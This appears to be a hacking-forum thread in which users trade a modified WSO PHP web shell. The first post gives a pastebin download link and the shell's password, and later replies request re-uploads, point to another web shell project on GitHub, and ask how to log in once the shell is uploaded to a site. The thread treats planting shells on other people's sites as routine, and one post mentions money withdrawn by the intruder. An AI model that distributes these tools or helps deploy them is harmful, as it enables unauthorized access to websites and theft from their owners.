Thread: [\[FREE - PHP SHELL\] Nightmare WSO Shell - Modified](#)

franklin83 - May 25, 2016, 6:20 am

Hello, someone has used that shell on my site, he didnt do much because I have blocked him after some second.

I didnt even test it, because I dont like to work with tose things.

Screenshot: Spoiler [\(Click to View\)](#)

There are some nice functions, didnt try them so you can test it and give a feedback in that thread.

Download link: <http://pastebin.com/UH3EBqAf>

Password to shell: seebix_hf

I cant be sure if there's any backdoor. I didnt even modify the PHP code (only password).
If you have found any backdoor PM me and I will junk the thread.

re upload plz

its been removed alrdy

memory - December 9, 2016, 10:00 pm

Re-upload the link for everyone. Maybe on pastebin? Thank you.

Here you are.

I <3 you thank you man. Did you get the info (IP) or email accounts etc of the idiot that uploaded to your site?

Thanks for the share man, Respect on it.

It's a shell for exploiting etc.

LogoiLab - December 12, 2016, 6:25 pm

Why do we continue to beat an ugly dead horse like WSO. LET IT DIE!

Have a real shell:

<https://github.com/b374k/b374k>

Essence - December 12, 2016, 6:42 pm

Damn, thanks for this free shell

<3 It was about 7 months ago, anyway, he didnt do anything (he has withdrawn \$1500 from site, there was about \$40k on bots)

Aptyp - December 13, 2016, 2:18 pm

I sound like a noob.

But what is a shell?

Giorgi7 - October 6, 2019, 9:44 am

how can i login after upload? where is login page?
